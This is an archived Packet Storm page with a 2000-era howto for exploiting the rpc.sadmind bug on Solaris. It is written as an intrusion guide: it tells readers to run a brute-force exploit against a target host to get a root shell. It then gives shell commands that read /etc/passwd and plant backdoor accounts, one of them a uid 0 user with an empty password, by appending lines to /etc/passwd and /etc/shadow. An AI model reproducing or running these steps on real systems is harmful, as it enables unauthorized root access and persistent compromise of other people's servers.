what you don't know can hurt you

sadmind-howto.txt

sadmind-howto.txt
Posted Nov 22, 2001
Authored by Cyrax | Site members.antionline.com

Explanation of how to exploit the rpc.sadmind bug on Solaris.

tags | exploit
systems | solaris
MD5 | be1ae7f11bc82103d3ad0d2ed147e147

sadmind-howto.txt

Change Mirror Download
rpc.sadmind (27/02/2000)
------------------------

The bug rpc.sadmind has been reported a long time ago. But there has never
been a manual for it. So i decided to explain how to exploit the bug.
First of all i would recommend to use the sadmind brute forcer for the
sploit files sadmindex-sparc.c and sadmindex-x86.c , you can find the
brute forcer at http://packetstormsecurity.org . Search for sadmind
brute forcer and the file samdind-brute-lux.c will be the first file
you'll see...
You compile the brute forcer in the same directory as the sploit
files.
Run the brute forcer like this :
./sadmind-brute-force <arch> <host>
If you don't know what <arch> is then you do ./sadmind-brute-lux
You'll understand now =)
When you have found a vulnerable host (you can scan for RPC stuff with RPC-
scanners LOL) you do this for example
./sadmind-brute-force 1 www.sadmindvulnhost.com

If you're dropped to a rootshell now, the host is vulnerable for real.
Otherwise, the host is patched.

Now you're dropped to the rootshell you have 2 easy ways to exploit the
rpc.sadmind bug.
The first way, this is kinda lame, is that you view the /etc/passwd
(or the /etc/shadow ofcourse) and then crack the password file with
a password-cracker like John The Ripper --> this can take years !
You view the /etc/passwd like this
cat /etc/passwd;
The ; must be added ! If ya type cat /etc/passwd the server will recognize
this command as
cat /etc/passwd^m

The second way to exploit the bug is a lot faster then the first one.
Here we simply add two users, one with root privileges ofcourse...
This example is for a host with /etc/shadow !
Type this at the rootshell :

echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax:::::: >> /etc/shadow;
echo cyrax2:::::: >> /etc/shadow;

Dont use > instead of >>, >> adds a line, > overwrites !
Replace UID and GID by 666 for example but NOT by 0
After you typed this, there will be added two users to the server :
cyrax and cyrax2
You login with the non-root user, cyrax, and then do su cyrax2
and set the password for the users ...
Now you have root access to the server...

Written by : CyRaX (cyrax@antionline.org)
http://members.antionline.com/cyrax
Special thanks to : nostalg1c
greet[z] : kemX, Cheitan, guppy, |llus|0{\}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close